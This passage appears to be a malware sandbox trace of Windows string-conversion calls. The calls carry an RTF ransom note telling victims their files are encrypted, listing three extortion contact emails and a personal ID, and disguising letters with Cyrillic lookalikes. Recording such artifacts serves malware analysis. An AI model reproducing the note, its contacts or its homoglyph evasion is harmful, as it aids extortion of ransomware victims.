d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 